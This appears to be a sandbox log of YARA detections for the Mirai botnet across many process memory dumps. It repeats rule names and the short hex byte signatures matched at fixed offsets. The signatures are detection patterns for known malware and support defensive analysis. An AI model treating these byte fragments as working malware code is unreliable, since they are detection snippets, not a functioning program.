7367.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7367.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7367.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7367.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7367.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6892.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6892.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6892.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6892.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6892.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6892.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7070.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7070.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7070.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7070.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7070.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7070.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7038.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7038.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7038.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7038.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7038.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7038.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6663.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6663.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6663.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6663.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6663.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6663.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7193.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7193.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7193.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7193.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7193.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7193.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6540.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6540.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6540.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6540.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6540.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6540.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7028.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7028.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7028.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7028.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7028.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7028.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7245.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7107.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7107.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7107.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7107.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7107.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7107.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6867.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6867.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6867.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6867.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6867.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6867.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7052.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7052.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7052.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7052.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7052.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7052.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6806.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6806.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6806.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6806.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6806.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6806.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6636.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6636.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6636.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6636.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6636.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6636.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6380.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6380.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6380.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6380.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6380.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6380.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6467.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6467.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6467.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6467.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6467.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6467.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7189.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7189.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7189.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7189.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7189.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7189.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7250.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7250.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7250.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7250.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7250.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7250.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7125.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7125.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7125.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7125.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7125.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7125.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7352.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7352.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7352.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7352.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7352.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7352.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6479.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6479.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6479.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6479.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6479.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6479.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6352.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6352.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6352.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7049.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6616.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6616.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6616.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6616.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6616.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6616.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6352.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6352.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6352.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7035.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7035.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7035.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7035.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7035.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7035.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6994.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6994.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6994.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6994.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6994.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6994.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6279.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7036.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7036.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7036.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7036.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7036.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7036.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7212.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7212.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7212.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7212.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7212.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7212.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7236.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7236.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7236.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7236.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7236.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7236.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7314.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7314.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7314.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7314.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7314.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
